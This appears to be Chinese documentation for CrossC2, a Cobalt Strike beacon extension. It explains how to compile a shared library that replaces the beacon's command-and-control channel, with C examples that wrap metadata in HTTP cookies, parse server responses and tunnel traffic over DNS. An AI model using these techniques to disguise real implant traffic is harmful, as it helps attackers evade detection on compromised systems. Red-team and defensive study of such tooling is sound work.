自定义通信协议

CrossC2 预留了通信协议API, 可指定的API实现c2profile设定,以及自定义协议。

使用方法

编写对应的通信协议实现后,使用gcc/clang test.c -fPIC -shared -o lib_rebind_test.so编译生成动态库。 在生成beacon时,cna或者genCrossC2中的rebind_dynamic_lib选项指定刚才生成的动态库 lib_rebind_test.so, 最后生成的beacon将按照指定动态库中的协议实现方式去发送通信数据包。

HTTPs通信模版修改

分别对应 C2Profile 中的4个设定选项,

http-get { 
    client(send) { metadata{} }
    server(recv) { output{} }
}
http-post { 
    client(send) { 
        id {} 
        output {} 
    }
    server(recv) { output{} }
}
void (*cc2_rebind_http_get_send)(char *reqData, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_get_recv)(char *resData, long long resData_len, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_post_send)(char *reqData, char *beaconID, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_post_recv)(char *resData, long long resData_len, char **outputData, long long *outputData_len);

cc2_rebind_http_x_send 系列函数: 
    将传入的base64(metadata)数据进行封装, 返回完整的HTTP结构数据
    `*reqData` 是base64后要请求的数据(metadata字段)       - C2Profile http-get { client { (metadata) } } 
    `**outputData`返回实际需要发送的完整HTTP内容

cc2_rebind_http_x_recv 系列函数:
    将传入的HTTP结构数据进行解析,返回base64(output)数据
    `*resData` 是server返回的完整HTTP内容
    `**outputData`返回HTTP内容中包含的实际内容(base64编码后的output字段)   - C2Profile http-get { server { (output) } }

通信协议自定义

void (*cc2_rebind_get_protocol)(char *reqData, char **outputData, long long *outputData_len);
void (*cc2_rebind_post_protocol)(char *reqData, char *beaconID, char **outputData, long long *outputData_len);

cc2_rebind_x_protocol 系列函数:
    将传入的原始数据进行自定义通信发送接受后,返回获取到的base64(output)数据
    `*resData` 是base64后要请求的数据(metadata字段 / id + output字段)
    `**outputData`是base64后的server响应数据(output字段)

Ex:

HTTPs通信模版自定义:


void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    printf("------ custom http get send ------\n");
    char *requestTample = "GET /%s HTTP/1.1\r\n"
        "Host: http.cc2.com\r\n"
        "Accept: gzip, deflate\r\n"
        "User-Agent: cc2_rebind_http_get_send\r\n"
        "Cookie: %s\r\n"
        "Connection: cc2_rebind_http_get_send\r\n\r\n";
    char postPayload[20000];
    sprintf(postPayload, requestTample, "test", reqData);

    // 将生成的HTTP数据写入outputData
    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);

    printf("-------------------------\n");
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    printf("------ custom http get recv ------\n");

    // rawData = "HTTP/1.1 400 Bad Request
    // Date: Tue, 26 May 2020 10:12:28 GMT
    // Server: CC2_server
    // Content-Length: 32
    // Connection: close
    // Content-Type: text/html; charset=iso-8859-1
    //
    // XXXXZZZZXXXXAAAZZ==

    char *payload = find_pay(rawData, rawData_len); // return "XXXXZZZZXXXXAAAZZ=="

    *outputData_len = strlen(payload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, payload, *outputData_len);

    printf("-------------------------\n");
}

通信协议自定义

void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) {
    printf("------ custom get protocol ------\n");
    sendDNS("127.0.0.1", 53, 1, reqData, strlen(reqData), outputData, outputData_len);
    if (*outputData_len > 0) {
        printf("cobaltstrike cc2_server response(%d): \n", *outputData_len);
    }
    printf("------ custom protocol ------\n");
}

results matching ""

    No results matching ""